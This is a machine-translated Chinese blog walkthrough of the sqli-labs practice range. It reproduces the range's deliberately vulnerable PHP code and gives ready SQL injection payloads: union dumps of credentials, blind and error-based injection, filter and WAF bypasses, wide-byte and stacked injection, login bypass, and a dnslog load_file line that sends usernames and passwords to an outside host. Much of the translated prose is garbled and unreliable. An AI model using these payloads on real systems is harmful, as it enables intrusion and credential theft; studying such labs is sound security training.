当前位置:网站首页>SQL lab range explanation
SQL lab range explanation
2022-06-25 04:54:00 【Cn Sirius】
sql-lab Explain
- GET The ginseng
- POST The ginseng
- Various parameter transfer methods based on error reporting injection
- == Filtering comments GET==
- == The secondary injection ==
- == Filter ==
- ==waf==
- == Wide byte Injection ==
- == Stack Injection ==
- Secondary injection advanced
- ==order by Inject ==
- Limit the number of injections
sql Injection is
When a user enters a password that is not a user name sql sentence
These statements are not filtered
After execution, echo and other methods , Make the injector get the information of the database
The water has been used for several days visual studio2022 and Windows11 So this article is a little crude , It will be improved in the future
visual studio2022 For the course of beautification, see Visual Studio 2022 Interface beautification tutorial .
GET The ginseng
Put the code first
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
/* Be careful get The ginseng
Get the input id Then open one first result.txt Then write what you uploaded into that file
In this way, after you operate again, you can see what your injection statement really injects
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* In the line above $id The symbols before and after are the key , Is the closing symbol of the injection statement
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";/* The correct echo color is green
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
/* This is the feedback when the input is correct , Tell you the running results directly
But the last few levels are different
else
{
echo '<font color= "#FFFF00">';/* The error message is displayed in yellow
print_r(mysql_error());
echo "</font>";
}
/* This is the feedback when the input is wrong , hold mysql_error Feedback to you
Again , The last few levels are different
}
else {
echo "Please input the ID as parameter with numeric value";}
/* This is the feedback that your input is empty
?>
/* I want to make readers see more clearly , I'll delete the right half of the comment , Just like this sentence, there is no */( Take a closer look at this sentence paradox )
My first comment is : Be careful get The ginseng , front 10 The first half of the code remains unchanged
The second note is to remind the reader to pay attention to the closing mode of each level ( Package method )
stay if after else The front is the correct echo part stay else After that is the error echo part
These two parts are what we need to pay attention to in distinguishing injection methods
Let's start with theory
Determine the injection mode according to whether the two parts echo
The injection method includes joint query 、 Bull's blind note 、 Time blind note 、 Error reporting, injection, etc
The ginseng
The most basic thing is ?id=1’、username=admin’ This kind of parameter passing statement , hinder ’ Quotation marks are closed. They say , What symbol does he use to close , You have to use the same symbols to close your sentences , Input the most basic injection statement to determine whether there is error echo The echo is yellow , The code section comments say
Judge the correct echo ( green ) The number of columns of data in the database , That is, the number of lines echoed in the range
?id=1’ order by 1--+
As long as the ellipsis here does not report an error Just increase the number , Until the previous figure of the error report , Is the number of echoed lines
Determine which columns of the echoed data are in the database
?id=-1’ union select 1,2,3--+
The maximum value of the number here should be the same as that obtained in the previous step
The previous step 7 Report errors , The line number is 6, This step is about 1,2,3,4,5,6–+
Look at those numbers on your screen
Pay attention to id= An incorrect value Such as 0,-1 And so on In this way, the return value after the joint query will make union The result of the subsequent query statement is in the first column of the array , And backstage php The code will only echo the data in the first column
Chaku name
?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+
Here is the database sql sentence , Replace a number that appears on your screen Here is 3 Back and forth on the screen
group_concat( The data you want to query )from Where the library is surface Column
Check the database name here schema_name This data is saved in information_schema.schemata
such The echo is Databases Name
Look up the name of the table
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
table surface information_schema.tables Analogy above table_schema=‘ Library name ’
Here you have to guess Which database will hold the data you want , And then lose in the position of the library name
Look up the list name
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’--+
The same analogy above column Column
Guess here Which table echoed above contains the data you want
Extract the data
The exciting time has come
?id=-1’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from users–+
The same analogy above There is a special concat_ws( Symbol , Name , Name )
The symbol in the middle will be concat_ws Insert between two sets of data , Just to make it easy to see
So we can find the data , Is it simple .
limit
limit Is to limit that part of the display ,limitx,y It's from x+1 Start showing y individual
Practice
There are both positive and negative echoes
Just follow the above steps to find the data step by step
security———>users——>username&password This is the level of the range database
The picture will be filled in later
The theory of advanced
Time blind note
?id=1’ and sleep (5)–+
?id=1‘ and if((left((select schema_name from information_schema.schemata limit 4,1),1,1)=‘s’),1,sleep(3))–+
Such sentences sleep() It means to delay execution ,
Let the browser sleep for a while
When you want to judge right or wrong , You just let the right one sleep , Wrong continue liver , So you can see
Bull's blind note
The following methods have their own advantages and disadvantages
Because I can know sql-lab Data from the range database
So when I brush questions, I use left
actual
substr
substr(a,b,c) take a The field starts from the b Characters read c Characters
ascii
Convert the characters in parentheses to acsii code , Finally, judge the value , Correct return 1, Erroneous return 0
Similar to the dichotomy in mathematics
left
left(a) Read from the first bit a Characters
Fuzzy query like
a like ‘%b%’ Judge a Whether there is in the string b
a like ‘b%’ Judge a Whether there is at the beginning b Count
regexp
regexp ‘a’ Regular expressions
RegExp Object represents a regular expression , It's a powerful tool for pattern matching on strings Regular expressions are often used for retrieval 、 Replace those that match a pattern ( The rules ) The text of .
Many languages have regular expressions
Physics also has regularity
So what is regular (≧﹏ ≦)
Advanced practice
There is an error response No correct echo
In other words, the green characters you can see in the first four levels are 5-8 Turn off you are in To replace the
That's the name of the library you checked before Table name Name And data will not be echoed
When Boolean blind note is used If the judgment is correct, it will show you are in
If it is not correct, an error will be reported
The following figure shows the first user name in the fifth level The last step is to inject statements
Refer to page for the previous steps 1 To 4 Statements that look up various types of information and wrap them with functions used by Boolean blind annotation
Neither correct echo nor error echo
Whatever you type , He would say you are in
Just like you said Ah, yes, yes
such Boolean blind note is useless
You don't know whether the injection statement is right or wrong
At this time, we have to use time blind injection
Pack the Boolean blind
if( Boolean blind note statement ,sleep(3),1)
If it's right , The browser will delay 3 Seconds to run
POST The ginseng
Let's start with theory
<!--Form to post the data for sql injections Error based SQL Injection-->
<form action="" name="form1" method="post">
<div style="margin-top:15px; height:30px;">Username :
<input type="text" name="uname" value=""/>
</div>
<div> Password :
<input type="text" name="passwd" value=""/>
</div></br>
<div style=" margin-top:9px;margin-left:90px;">
<input type="submit" name="submit" value="Submit" />
</div>
</form>
Above is the front end adopt post The ginseng uname and passwd
<?php
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
/* The back end receives the parameters transmitted by the front end
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
/* There are two parts here , Above is the correct echo
The following is the error echo
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
post The ginseng
post There are many ways to transfer parameters. The most essential thing is to transfer parameters in the input box
Then some plug-ins have the function of transferring parameters hackbar They generally need to be used with the plug-in for capturing packets
Most of them are some packet capturing software ,burpsuit etc.
They have the function of capturing packets , There are also repeaters , The tester has powerful functions
Injection of statements
and get The statements that pass parameter types are roughly the same , Different places have the original id=1’ because get The ginseng , Automatically write after capturing packets uname/password= So just write the following admin’ add sql Execute statement , The principle is the same , After the system completes the transfer of parameters, continue to sql Statement execution shows back and forth Here the end annotator can be used #
Practice
post There are also three main categories of transmission parameters
There are both positive and false echoes
stay burpsuit The parameter is transmitted in the repeater ,
The red part is the injection statement , Here again, only the last step is shown Others can be done according to get The principle of parameter transmission
Just a few changes
Not echoed correctly There is an error response
Here I use the time blind method with higher recognition Boolean blind note also uses
There is no positive or negative echo
Same as direct time blind injection above
Various parameter transfer methods based on error reporting injection
Let's talk about error reporting first
updatexml
updatexml (XML_document, XPath_string, new_value)
Replace the qualified data found
extactvalue
extractvalue(XML_document, XPath_string)
Yes XML Document query function
When the above two functions xpath Error in path , take XML_document An error is reported and returned
Note that only 32 Characters , Later available limit And so on to limit the returned character position
How to pass parameters
burp suite Change the corresponding data after capturing packets
user-agent Inject
User-Agent:'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
referer Inject
cookie Inject
base64 Encrypted cookie Inject
take payload the base64 Upload after encryption
Filtering comments GET
Comments are filtered out of the source code
The annotator can't be used, so we need to work on closing
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '1
?id=-1' union select 1,(select group_concat(username) from users),'3
Construct a statement at the end so that the closing symbol and the statement form an unaffected statement
There are many ways to close
The secondary injection
First register a user admin‘#
Then login
Change Password
When you change your password It is executed in the background
UPDATE users SET passwd=" New password " WHERE username =' admin' # ' AND password='
That is to say
Do you use admin’# Users put admin The user's password has been changed
Filter
Filter or and and
take payload In all and and or
Replace with anandd and oorr
here password It's going to be passwoorrd
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from users#
Filtered error reporting injection
26
$id= preg_replace('/or/i',"", $id); /strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); /Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); /strip out */
$id= preg_replace('/[--]/',"", $id); /Strip out --
$id= preg_replace('/[#]/',"", $id); /Strip out #
$id= preg_replace('/[\s]/',"", $id); /Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); /Strip out slashes
return $id;
Want to use || Instead of or information Inside or To double write , use ||‘1’=‘1 To close
?id=0'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1)||'1'='1
27
?id=0'||updatexml(1,concat(0x7e,(SeLect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1)||'1'='1
Case write select and union
Filtered time blind injection
26 To 27 Off a It is impossible to report an error
Can use time blind injection filtering method and without a It's the same as closing
waf
/ take the variables
if(isset($_GET['id'])){
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);}
/WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input){
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
/ The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string){
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value){
$val=substr($value,0,2);
if($val=="id"){
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;}
}
}
java_implimentation simulation tomcat Query function processing of
whitelist White list filtering Redirect when a rule violation is detected
The loophole is whitelist Only detected java_implimentation The first parameter of the output $id_value
The later one escapes detection The injection point is behind
Wide byte Injection
MySQL In the use of GBK When coding , I think two characters are a Chinese character , Because the main filtering method is to add... In front of sensitive characters The backslash \, So try to kill the backslash here .
urlencode(’) = %5c%27, We are %5c%27 Add %df, shape become %df%5c%27,MySQL stay GBK When coding, two bytes will be treated as a Chinese character , At this time %df%5c As a Chinese character ,%27 As a separate symbol outside , At the same time, we have achieved our goal .
Stack Injection
stay SQL in , A semicolon (;) It's used to express a sql The end of the statement . End one sql Continue to construct the next statement after the statement , Will execute together So a stack Injection . and union injection( Joint injection ) It is also a combination of two statements , The difference between the two is union perhaps union all The types of statements executed are limited , Can be used to execute query statements , Stack injection can execute any statement
Stack injection provides attackers with many means of attack , By adding a new Or terminate the query , It can achieve the purpose of modifying data and calling stored procedures . This technology SQL Injection is still relatively frequent .
The following shows that stack injection inserts a user data
At the same time, it can also be dnslog Inject
?id=1';select load_file(concat('//',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.au0mvd.dnslog.cn/1.txt'));--+
Secondary injection advanced
You need to log in successfully to inject again
function sqllogin($host,$dbuser,$dbpass, $dbname){
// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}
/* execute multi query */
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result)){
if ($row[1]) {
return $row[1];
}
else{
return 0;
}
}
}
else {
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
Here to username and password Filtering is not strong
You can use the universal password
1’ or '1'='1
Sign in
Next, inject the password again through the password modification interface
<?PHP
session_start();
if (!isset($_COOKIE["Auth"])){
if (!isset($_SESSION["username"])) {
header('Location: index.php');
}
header('Location: index.php');
}
?>
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit'])){
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);/* Original password Or universal password bypass
$pass= mysql_real_escape_string($_POST['password']);/* New password
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass){
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1){
//echo "Password successfully updated";
echo '<img src="../images/password-updated.jpg">';
}
else{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
?>
<?php
if(isset($_POST['submit1']))
{
session_destroy();
setcookie('Auth', 1 , time()-3600);
header ('Location: index.php');
}
?>
His user name passed session obtain , So other users cannot be changed
order by Inject
SELECT * FROM users ORDER BY
order by And where almost
But the difference is order by Out of commission union union
Everything else It's also more flexible
from 46 To 53 All customs are order by Inject
Limit the number of injections
from 54 Turn off and start , Limited injection times
Once the number of times is exceeded, the data will be changed
Everything has to start again
58-62 Error injection can be reported
from 62 Only blind injection can be used at the beginning of closing
id Inject part of the code
<?php
id Inject part of the code
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; /generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; /characterset for generating random data
$times= 10;
$table = table_name();
$col = column_name(1); / session id column name
$col1 = column_name(2); /secret key column name
/ Submitting the final answer
if(!isset($_POST['answer_key'])){
/ resetting the challenge and repopulating the table .
if(isset($_POST['reset'])){
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";
}
else{
/ Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge'])){
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
}
echo "<br>\n";
/take the variables
if(isset($_GET['id'])){
$id=$_GET['id'];
/logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
/update the counter in database
next_tryy();
/Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "<br><br><br>\n";
/Reset the Database if you exceed allowed attempts.
if($tryyy >= ($times+1)){
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}
/ Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else {
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
}
else{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
}
}
}
Answer submission section
else
{
echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
//echo $key;
/Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/Less-54-1.jpg" />';
echo "</font>";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else {
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/slap1.jpg" />';
header( "refresh:3;url=index.php" );
//print_r(mysql_error());
echo "</font>";
}
}
?>
Catalog
- GET The ginseng
- POST The ginseng
- Various parameter transfer methods based on error reporting injection
- == Filtering comments GET==
- == The secondary injection ==
- == Filter ==
- ==waf==
- == Wide byte Injection ==
- == Stack Injection ==
- Secondary injection advanced
- ==order by Inject ==
- Limit the number of injections
边栏推荐
- Which programming language is the most cumbersome to implement Hello world?
- Excel exports data to SQL and pictures to folder through macro | VBA
- SRC platform summary
- 在 .NET 6 中使用 dotnet format 格式化代码
- Filter & listener (XIV)
- [untitled]
- 《QDebug 2022年6月》
- Redis (17)
- Kotlin Compose 完善toDo项目 Surface 渲染背景 与阴影
- epplus复制模板后打印区域变小的问题
猜你喜欢
ASEMI三相整流桥的工作原理
Heavy broadcast | phase shift method + mathematical principle derivation of multi frequency heterodyne + implementation
Kotlin Compose 监听软键盘 点击enter提交事件
At the age of 30, I began to learn programming by myself. Is it still time for me to have difficulties at home?
API interface management setup -eolinker4.0
Records of ros2/dds/qos/ topics
Penetration test - directory traversal vulnerability
What if the desktop computer is not connected to WiFi
olap分析引擎——Kylin4.0
Separation of storage and computing in Dahua cloud native database
随机推荐
Calculate student grade (virtual function and polymorphism)
固態硬盤開盤數據恢複的方法
Difference between asemi high power FET and triode
WPF 使用 MAUI 的自绘制逻辑
What if the desktop computer is not connected to WiFi
执行SQL响应比较慢,你有哪些排查思路?
JS arguments
Cannot import name 'escape' from 'jinja2' [solved successfully]
Response (XI)
How to download and use Xiaobai one click reload on the official website
Fun CMD command line~
JS, BOM, DOM (VI)
Upgrade PHP to php7 The impact of X (I). The problem of session retention. Keep login
How to use the Magic pig system reinstallation master
Abuse unlimited authorization -- is your address safe?
ASEMI大功率场效应管和三极管的区别
Laravel Vonage SMS sending
How micro engine uploads remote attachments
Working principle of asemi three-phase rectifier bridge
Coordinate system left multiply right multiply